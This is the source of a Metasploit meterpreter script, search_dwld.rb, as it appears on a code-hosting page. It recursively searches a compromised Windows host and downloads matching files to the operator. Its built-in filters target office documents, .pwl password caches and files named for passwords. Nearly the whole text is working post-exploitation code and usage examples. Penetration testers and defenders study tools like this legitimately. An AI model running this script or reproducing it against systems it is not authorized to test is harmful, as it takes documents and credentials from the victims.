Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/search_dwld.rb
Views: 11768
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567## Meterpreter script that recursively search and download8## files matching a given pattern9## Provided by Nicob <nicob [at] nicob.net>1011## == WARNING ==12## As said by mmiller, this kind of script is slow and noisy :13## http://www.metasploit.com/archive/framework/msg01670.html14## However, it can sometimes save your ass ;-)15## == WARNING ==1617# Filters18$filters = {19'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$',20'win9x' => '\.pwl$',21'passwd' => '(pass|pwd)',22}2324@@opts = Rex::Parser::Arguments.new(25"-h" => [ false,"Help menu." ]26)2728def usage29print_line "search_dwld -- recursively search for and download files matching a given pattern"30print_line "USAGE: run search_dwld [base directory] [filter] [pattern]"31print_line32print_line "filter can be a defined pattern or 'free', in which case pattern must be given"33print_line "Defined patterns:"34print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n")35print_line36print_line "Examples:"37print_line " run search_dwld"38print_line " => recursively look for (MS|Open)Office in C:\\"39print_line " run search_dwld %USERPROFILE% win9x"40print_line " => recursively look for *.PWL files in the user home directory"41print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'"42print_line " => recursively look for pictures in the E: drive"43print_line(@@opts.usage)44raise Rex::Script::Completed45end4647@@opts.parse(args) { |opt, idx, val|48case opt49when "-h"50usage51end52}5354def scan(path)55begin56dirs = client.fs.dir.foreach(path)57rescue ::Rex::Post::Meterpreter::RequestError => e58print_error("Error scanning #{path}: #{$!}")59return60end6162dirs.each {|x|63next if x =~ /^(\.|\.\.)$/64fullpath = path + '\\' + x6566if client.fs.file.stat(fullpath).directory?67scan(fullpath)68elsif fullpath =~ /#{$motif}/i69# Replace ':' or '%' or '\' by '_'70dst = fullpath.tr_s(":|\%|\\", "_")71dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst)72print_line("Downloading '#{fullpath}' to '#{dst}'")73client.fs.file.download_file(dst, fullpath)74end75}76end7778#check for proper Meterpreter Platform79def unsupported80print_error("This version of Meterpreter is not supported with this Script!")81raise Rex::Script::Completed82end838485unsupported if client.platform != 'windows'86# Get arguments87basedir = args[0] || "C:\\"88filter = args[1] || "office"8990# Set the regexp91if filter == 'free'92if args[2].nil?93raise "free filter requires pattern argument"94end95$motif = args[2]96else97$motif = $filters[filter]98end99100if $motif.nil?101raise "Unrecognized filter"102end103104# Search and download105scan(basedir)106107108109